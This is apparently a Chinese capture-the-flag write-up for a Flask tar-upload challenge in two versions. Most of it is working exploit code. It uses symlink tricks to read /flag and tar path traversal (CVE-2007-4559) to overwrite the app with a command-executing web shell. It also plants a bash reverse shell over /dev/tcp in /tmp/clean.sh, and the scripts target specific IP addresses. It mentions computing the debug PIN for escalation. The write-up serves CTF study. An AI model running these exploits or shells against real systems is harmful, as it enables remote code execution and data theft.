# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
漏洞点在
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
思路:
生成一个软链接,通过软链接
链接到/flag文件
,然后将软链接打包成tar文件上传,之后再读取文件,读取文件时,由于extractall
提取出来的是一个软链接,后面读取的时候就是/flag文件
ln -s /flag flag
tar -cvf flag.tar flag
写个脚本上传文件
import requests as req
url = "http://43.142.108.3:28089/"
filename = r"./flag.tar"
def upload(url ,fileName):
url = url + "upload"
file = {"file":open(fileName,'rb')} #这里是上传文件
response = req.post(url=url, files = file)
print(response.text)
def download(url):
url = url+"download"
file = {"filename":"flag"} #这里是post数据
response = req.post(url, data=file)
print(response.text)
if __name__ == "__main__":
upload(url,filename)
download(url)
v2没有做很大的改变,不影响漏洞的利用,用v1的脚本能拿flag
源码
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
if os.path.islink(filepath):
return '?'
if oct(os.stat(filepath).st_mode)[-3:] != '444':
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
# print(os.environ)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
利用CVE-2007-4559
使得文件解压到其他路径
Debug模式下,当app.py
内容发生变化时,flask会重新加载
exp.py
import re
import time
import requests as req
import tarfile
url = 'http://1.14.71.254:28077/'
filename = r"main.py"
def changeFileName(filename):
filename.name='../../../app/main.py'
return filename
with tarfile.open("exp.tar", "w") as tar:
tar.add(filename,filter=changeFileName)
def upload(rawurl):
url = rawurl + "upload"
response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
print(response.text)
def getFlag(rawurl):
url = rawurl + 'download?filename=ls'
response = req.get(url)
print(response.content)
if __name__ == "__main__":
upload(url)
time.sleep(3)
getFlag(url)
main.py
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
@app.route('/download', methods=['GET'])
def download_file():
filename = request.args.get('filename')
return os.popen(filename).read()
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
覆盖tmp/clean.sh
,执行命令,拿到shell,flag的权限是root,可以通过算PIN码,提权执行命令,因为main.py
的权限是root
注意生成exp.sh
时,要赋予其执行命令的权限,然后执行上传操作即可
chmod +x exp.sh
exp.sh
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
exp.py
import re
import time
import requests as req
import tarfile
url = 'http://1.14.71.254:28243/'
filename = r"exp.sh"
def changeFileName(filename):
filename.name='../../../tmp/clean.sh'
return filename
with tarfile.open("exp.tar", "w") as tar:
tar.add(filename,filter=changeFileName)
def upload(rawurl):
url = rawurl + "upload"
response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
print(response.text)
def clean(rawurl):
url = rawurl + 'clean'
response = req.post(url)
print(response.text)
if __name__ == "__main__":
upload(url)
time.sleep(1)
clean(url)
debug的路由为consle